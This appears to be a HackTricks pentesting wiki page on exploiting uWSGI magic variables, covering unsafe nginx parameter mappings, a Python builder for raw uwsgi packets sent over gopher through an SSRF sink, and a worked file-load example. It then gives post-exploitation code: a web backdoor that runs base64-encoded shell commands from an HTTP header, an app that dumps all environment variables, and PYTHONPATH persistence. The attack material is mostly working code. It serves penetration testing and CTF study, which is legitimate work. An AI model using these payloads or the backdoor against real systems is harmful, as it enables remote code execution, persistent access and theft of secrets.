wsgi.md (10239B)
1 --- 2 title: "WSGI Post-Exploitation Tricks" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/wsgi.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/wsgi.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # WSGI Post-Exploitation Tricks 14 15 ## WSGI Overview 16 17 Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters ("uwsgi params") to the backend application server. 18 19 Related pages you may also want to check: 20 21 [Werkzeug](/hacktricks/network-services-pentesting/pentesting-web/werkzeug) 22 23 [Readme](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview) 24 25 ## uWSGI Magic Variables Exploitation 26 27 uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.<sup>[[1]](#references)[[3]](#references)</sup> 28 29 ### Dangerous mappings in front proxies (nginx example) 30 31 Misconfigurations like the following directly expose uWSGI magic variables to user input: 32 33 ```text 34 location /app/ { 35 include uwsgi_params; 36 # DANGEROUS: maps query args into uwsgi params 37 uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py 38 uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod 39 uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application 40 uwsgi_pass unix:/run/uwsgi/app.sock; 41 } 42 ``` 43 44 If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module. 45 46 ### Key Exploitable Variables 47 48 #### `UWSGI_FILE` - Arbitrary File Load/Execute 49 50 ```text 51 uwsgi_param UWSGI_FILE /path/to/python/file.py; 52 ``` 53 Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE). 54 55 #### `UWSGI_SCRIPT` - Script Loading 56 ```text 57 uwsgi_param UWSGI_SCRIPT module.path:callable; 58 uwsgi_param SCRIPT_NAME /endpoint; 59 ``` 60 Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE. 61 62 #### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading 63 ```text 64 uwsgi_param UWSGI_MODULE malicious.module; 65 uwsgi_param UWSGI_CALLABLE evil_function; 66 uwsgi_param SCRIPT_NAME /backdoor; 67 ``` 68 These parameters allow loading arbitrary Python modules and calling specific functions within them. 69 70 #### `UWSGI_SETENV` - Environment Variable Manipulation 71 ```text 72 uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; 73 ``` 74 Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration. 75 76 #### `UWSGI_PYHOME` - Python Environment Manipulation 77 ```text 78 uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; 79 ``` 80 Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters. 81 82 #### `UWSGI_CHDIR` - Directory Change 83 ```text 84 uwsgi_param UWSGI_CHDIR /etc/; 85 ``` 86 Changes the working directory before processing requests and may be combined with other features. 87 88 ## SSRF + uwsgi protocol (gopher) pivot 89 90 ### Threat model 91 92 If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, `socket = 127.0.0.1:3031`), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables. 93 94 This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like `UWSGI_FILE`.<sup>[[2]](#references)</sup> 95 96 ### uWSGI protocol structure (quick reference) 97 98 - Header (4 bytes): `modifier1` (1 byte), `datasize` (2 bytes little-endian), `modifier2` (1 byte) 99 - Body: sequence of `[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]` 100 101 For standard requests `modifier1` is 0. The body contains uwsgi params such as `SERVER_PROTOCOL`, `REQUEST_METHOD`, `PATH_INFO`, `UWSGI_FILE`, etc. See the official protocol spec for full details.<sup>[[4]](#references)</sup> 102 103 ### Minimal packet builder (generate gopher payload) 104 105 ```python 106 import struct, urllib.parse 107 108 def uwsgi_gopher_url(host, port, params): 109 body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()]) 110 pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body 111 return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt) 112 113 # Example URL: 114 gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json 115 ``` 116 117 Example usage to force-load a file previously written on the server: 118 119 ```python 120 params = { 121 'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/', 122 'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py' 123 } 124 print(uwsgi_gopher_url('127.0.0.1', 3031, params)) 125 ``` 126 127 Send the generated URL through the SSRF sink. 128 129 ### Worked example 130 131 If you can write a python file on disk (the extension doesn’t matter) with code like: 132 ```python 133 # /app/profiles/malicious.py 134 import os 135 os.system('/readflag > /app/profiles/result.txt') 136 137 def application(environ, start_response): 138 start_response('200 OK', [('Content-Type','text/plain')]) 139 return [b'ok'] 140 ``` 141 Generate and trigger a gopher payload that sets `UWSGI_FILE` to this path. The backend will import and execute it as a WSGI app. 142 143 ## Post-Exploitation Techniques 144 145 ### 1. Persistent Backdoors 146 147 #### File-based Backdoor 148 ```python 149 # backdoor.py 150 import subprocess, base64 151 152 def application(environ, start_response): 153 cmd = environ.get('HTTP_X_CMD', '') 154 if cmd: 155 result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) 156 response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" 157 else: 158 response = 'Backdoor active' 159 start_response('200 OK', [('Content-Type', 'text/plain')]) 160 return [response.encode()] 161 ``` 162 Load it with `UWSGI_FILE` and reach it under a chosen `SCRIPT_NAME`. 163 164 #### Environment-based Persistence 165 ```text 166 uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages; 167 ``` 168 169 ### 2. Information Disclosure 170 171 #### Environment Variable Dumping 172 ```python 173 # env_dump.py 174 import os, json 175 176 def application(environ, start_response): 177 env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)} 178 start_response('200 OK', [('Content-Type', 'application/json')]) 179 return [json.dumps(env_data, indent=2).encode()] 180 ``` 181 182 #### File System Access 183 Combine `UWSGI_CHDIR` with a file-serving helper to browse sensitive directories. 184 185 ### 3. Privilege Escalation ideas 186 187 - If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state. 188 - Overriding configuration via environment (`UWSGI_*`) inside a file loaded through `UWSGI_FILE` can affect process model and workers to make persistence stealthier. 189 190 ```python 191 # malicious_config.py 192 import os 193 194 # Override uWSGI configuration 195 os.environ['UWSGI_MASTER'] = '1' 196 os.environ['UWSGI_PROCESSES'] = '1' 197 os.environ['UWSGI_CHEAPER'] = '1' 198 ``` 199 200 ## Reverse-proxy desync issues relevant to uWSGI chains (recent) 201 202 Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer: 203 204 - CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.<sup>[[6]](#references)</sup> 205 - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”<sup>[[5]](#references)</sup> 206 207 These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets. 208 209 ## References 210 211 - [1] [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) 212 - [2] [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) 213 - [3] [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) 214 - [4] [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html) 215 - [5] [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html) 216 - [6] [CVE-2023-27522 — Apache HTTP Server mod_proxy_uwsgi HTTP Response Smuggling](https://nvd.nist.gov/vuln/detail/CVE-2023-27522)